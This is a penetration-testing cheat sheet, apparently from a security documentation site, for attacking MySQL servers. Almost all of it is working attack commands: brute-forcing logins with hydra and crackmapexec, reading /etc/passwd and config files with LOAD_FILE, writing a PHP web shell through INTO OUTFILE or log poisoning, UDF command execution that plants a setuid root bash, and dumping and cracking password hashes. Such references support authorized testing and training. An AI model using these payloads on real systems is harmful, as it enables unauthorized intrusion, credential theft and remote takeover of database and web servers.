Skip to main content

Documentation Index

Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt

Use this file to discover all available pages before exploring further.

Service Detection

nmap -sV -sC -p 3306 TARGET

Connect

mysql -h TARGET -u root
mysql -h TARGET -u root -p
mysql -h TARGET -u root -p'password'

Brute-Force

hydra -L users.txt -P passwords.txt mysql://TARGET
crackmapexec mysql TARGET -u root -p passwords.txt
Default: root / (blank).

Enumeration

SELECT version();
SELECT user();
SELECT current_user();
SHOW DATABASES;
SELECT user, host, authentication_string FROM mysql.user;
SHOW GRANTS;
SHOW GRANTS FOR 'root'@'localhost';

File Read

SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE('/var/www/html/config.php');
SELECT LOAD_FILE('C:\\Windows\\win.ini');
Requires FILE privilege.

File Write (Web Shell)

SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php';
Check restriction:
SHOW VARIABLES LIKE 'secure_file_priv';
Empty = write anywhere. Path = restricted to that dir.

UDF Command Execution

If FILE + INSERT privilege:

Linux

searchsploit mysql udf
# Use lib_mysqludf_sys.so
CREATE FUNCTION sys_exec RETURNS INT SONAME 'lib_mysqludf_sys.so';
SELECT sys_exec('id');
SELECT sys_exec('cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash');

Windows

CREATE FUNCTION sys_exec RETURNS INT SONAME 'lib_mysqludf_sys.dll';
SELECT sys_exec('cmd /c whoami > C:\\Windows\\Temp\\output.txt');

Password Hashes

-- MySQL 5.7+
SELECT user, authentication_string FROM mysql.user;

-- Older
SELECT user, password FROM mysql.user;
Crack:
hashcat -m 300 hashes.txt /usr/share/wordlists/rockyou.txt

Log Poisoning → RCE

SET GLOBAL general_log = 'ON';
SET GLOBAL general_log_file = '/var/www/html/shell.php';
SELECT '<?php system($_GET["cmd"]); ?>';
SET GLOBAL general_log = 'OFF';
Access: http://TARGET/shell.php?cmd=id

NSE Scripts

nmap -p 3306 --script mysql-info TARGET
nmap -p 3306 --script mysql-enum TARGET
nmap -p 3306 --script mysql-brute TARGET
nmap -p 3306 --script mysql-databases --script-args mysqluser=root,mysqlpass='' TARGET

Quick Reference

CheckCommand
Connectmysql -h TARGET -u root
Read fileSELECT LOAD_FILE('/etc/passwd')
Write shellSELECT "<?php..." INTO OUTFILE '/var/www/html/shell.php'
UDF RCECREATE FUNCTION sys_exec...
Dump hashesSELECT user, authentication_string FROM mysql.user